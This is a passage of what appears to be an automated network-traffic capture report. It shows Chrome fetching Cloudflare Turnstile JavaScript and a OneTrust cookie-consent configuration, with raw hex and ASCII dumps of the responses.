2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 72 26 26 28 72 3d 6e 29 3b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 6e 29 3b 6f 26 26 21 28 22 67 65 74 22 69 6e 20 6f 3f 21 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3a 6f 2e 77 72 69 74 61 62 6c 65 7c 7c 6f 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 29 7c 7c 28 6f 3d 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 5b 6e 5d 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2c 6f 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 76 6f 69 64 20 30 3d 3d 3d 72 26 26 28 72 3d 6e 29 2c 65 5b 72 5d 3d 74 5b 6e 5d 7d 29 2c 72 3d 73 26 26 73 2e 5f 5f 73 65 74 4d 6f 64 75 6c 65 44 Data Ascii: r&&(r=n);var o=Object.getOwnPropertyDescriptor(t,n);o&&!("get"in o?!t.__esModule:o.writable\|\|o.configurable)\|\|(o={enumerable:!0,get:function(){return t[n]}}),Object.defineProperty(e,r,o)}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),r=s&&s.__setModuleD
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 72 3d 43 28 65 2c 74 29 2c 61 3d 6e 2c 6f 2e 69 73 56 61 6c 69 64 45 6c 65 6d 65 6e 74 28 72 29 26 26 6e 75 6c 6c 3d 3d 3d 72 2e 6b 65 79 3f 6f 2e 63 6c 6f 6e 65 45 6c 65 6d 65 6e 74 28 72 2c 7b 6b 65 79 3a 61 7d 29 3a 72 3b 76 61 72 20 72 2c 61 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 72 65 6e 64 65 72 4e 6f 64 65 2c 72 3d 74 2e 72 65 6e 64 65 72 4d 61 72 6b 2c 6f 3d 74 2e 72 65 6e 64 65 72 54 65 78 74 2c 69 3d 74 2e 70 72 65 73 65 72 76 65 57 68 69 74 65 73 70 61 63 65 3b 69 66 28 45 2e 69 73 54 65 78 74 28 65 29 29 7b 76 61 72 20 73 3d 6f 3f 6f 28 65 2e 76 61 6c 75 65 29 3a 65 2e 76 61 6c 75 65 3b 69 66 28 69 29 7b 76 61 72 20 6c 3d 28 73 3d 73 2e 72 65 70 6c 61 63 65 28 Data Ascii: (e,n){return r=C(e,t),a=n,o.isValidElement(r)&&null===r.key?o.cloneElement(r,{key:a}):r;var r,a}))}function C(e,t){var n=t.renderNode,r=t.renderMark,o=t.renderText,i=t.preserveWhitespace;if(E.isText(e)){var s=o?o(e.value):e.value;if(i){var l=(s=s.replace(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	50736	104.18.94.41	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	383	OUT	GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:08 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47460 Connection: close accept-ranges: bytes last-modified: Tue, 01 Oct 2024 14:19:56 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8d48fbf8bb932e66-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 68 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 68 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 6e 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function rt(e,r){return r=r!=nu
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6e 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return nt(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function U(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var n={label:0,sent:function(){if(l[0
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var Ue=300030;var Ve=300031;var q;(fu
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(fun
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 Data Ascii: function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.s
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 68 3d 4c 28 4e 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 6b 72 2c 28 66 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c Data Ascii: ==Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,h=L(Nr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(kr,(f=(n=e.displayLanguage)===null\|\|n===void 0?void 0:n.toLowerCase())!==nul
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 68 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 68 26 26 4a 28 73 2c 68 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e Data Ascii: {return Be()?Ie=Reflect.construct:Ie=function(c,l,h){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return h&&J(s,h.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 56 28 Data Ascii: tion b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(V(
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 58 3d 22 68 69 64 64 65 6e 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 Data Ascii: X="hidden",f.style.overflowY="auto",f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.cla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	50735	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	642	OUT	GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json HTTP/1.1 Host: ot.www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	830	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"58546ca5d4eb4f4a13ab1bb5353b1bd2" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Robots-Tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6xfT5b3P5aBjMNUZZe5UCq40ujLV4dnnjhyr2s%2B6nkugWxMnFyGm4AX5ARIqpAErIdztCaaRwRy1QO4Ksu9v8MxcjCi0PHyBsKEK7ph5G2Oi5tPDlC%2Bz1I%2BQQsRL0C6Jpnh5b1epiTA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8d48fbf8cb873abf-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	539	IN	Data Raw: 31 34 66 61 0d 0a 7b 22 43 6f 6f 6b 69 65 53 50 41 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 53 61 6d 65 53 69 74 65 4e 6f 6e 65 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 56 32 43 53 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4d 75 6c 74 69 56 61 72 69 61 6e 74 54 65 73 74 69 6e 67 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 55 73 65 56 32 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 53 44 4b 22 3a 66 61 6c 73 65 2c 22 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 63 72 69 70 74 54 79 70 65 22 3a 22 4c 4f 43 41 4c 22 2c 22 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 2e 32 2e 30 22 2c 22 4f 70 74 61 6e 6f 6e 44 61 74 61 4a 53 4f 4e 22 3a 22 62 31 65 30 35 64 34 39 2d 66 Data Ascii: 14fa{"CookieSPAEnabled":true,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"202407.2.0","OptanonDataJSON":"b1e05d49-f
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 5b 22 6e 6f 22 2c 22 64 65 22 2c 22 62 65 22 2c 22 66 69 22 2c 22 70 74 22 2c 22 62 67 22 2c 22 64 6b 22 2c 22 6c 74 22 2c 22 6c 75 22 2c 22 68 72 22 2c 22 6c 76 22 2c 22 66 72 22 2c 22 68 75 22 2c 22 73 65 22 2c 22 73 69 22 2c 22 6d 63 22 2c 22 73 6b 22 2c 22 6d 66 22 2c 22 73 6d 22 2c 22 67 62 22 2c 22 79 74 22 2c 22 69 65 22 2c 22 67 66 22 2c 22 65 65 22 2c 22 6d 71 22 2c 22 6d 74 22 2c 22 67 70 22 2c 22 69 73 22 2c 22 69 74 22 2c 22 67 72 22 2c 22 65 73 22 2c 22 72 65 22 2c 22 61 74 22 2c 22 63 79 22 2c 22 63 7a 22 2c 22 61 78 22 2c 22 70 6c 22 2c 22 6c 69 22 2c 22 72 6f 22 2c 22 6e 6c 22 5d 2c 22 53 74 61 74 65 73 22 3a 7b 7d 2c 22 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 7b 22 64 65 22 3a 22 64 65 22 2c Data Ascii: ["no","de","be","fi","pt","bg","dk","lt","lu","hr","lv","fr","hu","se","si","mc","sk","mf","sm","gb","yt","ie","gf","ee","mq","mt","gp","is","it","gr","es","re","at","cy","cz","ax","pl","li","ro","nl"],"States":{},"LanguageSwitcherPlaceholder":{"de":"de",
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 63 6f 22 2c 22 74 63 22 2c 22 63 72 22 2c 22 74 64 22 2c 22 74 66 22 2c 22 63 75 22 2c 22 63 76 22 2c 22 74 67 22 2c 22 63 77 22 2c 22 74 68 22 2c 22 63 78 22 2c 22 74 6a 22 2c 22 74 6b 22 2c 22 74 6c 22 2c 22 74 6d 22 2c 22 74 6e 22 2c 22 74 6f 22 2c 22 74 72 22 2c 22 74 74 22 2c 22 74 76 22 2c 22 74 77 22 2c 22 74 7a 22 2c 22 64 6a 22 2c 22 64 6d 22 2c 22 64 6f 22 2c 22 75 61 22 2c 22 75 67 22 2c 22 64 7a 22 2c 22 75 6d 22 2c 22 65 63 22 2c 22 65 67 22 2c 22 65 68 22 2c 22 75 79 22 2c 22 75 7a 22 2c 22 76 61 22 2c 22 65 72 22 2c 22 76 63 22 2c 22 65 74 22 2c 22 76 65 22 2c 22 76 67 22 2c 22 76 69 22 2c 22 76 6e 22 2c 22 76 75 22 2c 22 66 6a 22 2c 22 66 6b 22 2c 22 66 6d 22 2c 22 66 6f 22 2c 22 77 66 22 2c 22 67 61 22 2c 22 77 73 22 2c 22 67 64 22 2c 22 Data Ascii: co","tc","cr","td","tf","cu","cv","tg","cw","th","cx","tj","tk","tl","tm","tn","to","tr","tt","tv","tw","tz","dj","dm","do","ua","ug","dz","um","ec","eg","eh","uy","uz","va","er","vc","et","ve","vg","vi","vn","vu","fj","fk","fm","fo","wf","ga","ws","gd","
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 44 50 52 20 54 65 6d 70 6c 61 74 65 20 2d 20 41 64 61 70 74 65 64 20 46 6f 72 20 43 68 69 6e 61 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 5b 5d 2c 22 47 43 45 6e 61 62 6c 65 22 3a 66 61 6c 73 65 2c 22 49 73 47 50 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 4a 57 54 41 75 74 68 46 6f 72 4b 6e 6f 77 6e 55 73 65 72 73 22 3a 66 61 6c 73 65 7d 5d 2c 22 49 61 62 44 61 74 61 22 3a 7b 22 63 6f 6f 6b 69 65 56 65 72 73 69 6f 6e 22 3a 22 31 22 2c 22 63 72 65 61 74 65 64 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 38 2d 31 34 54 31 39 3a 34 30 3a 35 33 2e 36 39 35 37 38 39 34 31 32 22 2c 22 75 70 64 61 74 65 64 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 38 2d 31 34 54 31 39 3a 34 30 3a 35 33 2e 36 39 35 38 30 32 31 33 32 22 2c 22 63 6d 70 49 64 22 Data Ascii: DPR Template - Adapted For China","Conditions":[],"GCEnable":false,"IsGPPEnabled":false,"EnableJWTAuthForKnownUsers":false}],"IabData":{"cookieVersion":"1","createdTime":"2024-08-14T19:40:53.695789412","updatedTime":"2024-08-14T19:40:53.695802132","cmpId"
2024-10-18 13:48:08 UTC	732	IN	Data Raw: 61 74 69 6f 6e 4a 73 6f 6e 41 70 69 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 54 43 46 32 31 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 42 61 6e 6e 65 72 4c 6f 67 6f 22 3a 74 72 75 65 2c 22 43 6f 6e 73 65 6e 74 53 74 6f 72 65 43 6f 6e 73 65 6e 74 53 74 72 69 6e 67 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 41 73 73 69 67 6e 54 65 6d 70 6c 61 74 65 52 75 6c 65 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 41 75 74 68 65 6e 74 69 63 61 74 65 64 43 6f 6e 73 65 6e 74 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 43 4d 44 4d 41 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 52 65 6d 6f 76 65 53 65 74 74 69 6e 67 73 49 63 6f 6e 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 65 6e 65 72 61 6c 56 65 6e 64 6f 72 73 22 3a 74 72 75 65 2c Data Ascii: ationJsonApi":true,"CookieV2TCF21":true,"CookieV2BannerLogo":true,"ConsentStoreConsentStrings":true,"CookieV2AssignTemplateRule":true,"MobileAuthenticatedConsents":true,"CookieV2GCMDMA":true,"CookieV2RemoveSettingsIcon":true,"CookieV2GeneralVendors":true,
2024-10-18 13:48:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	50738	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
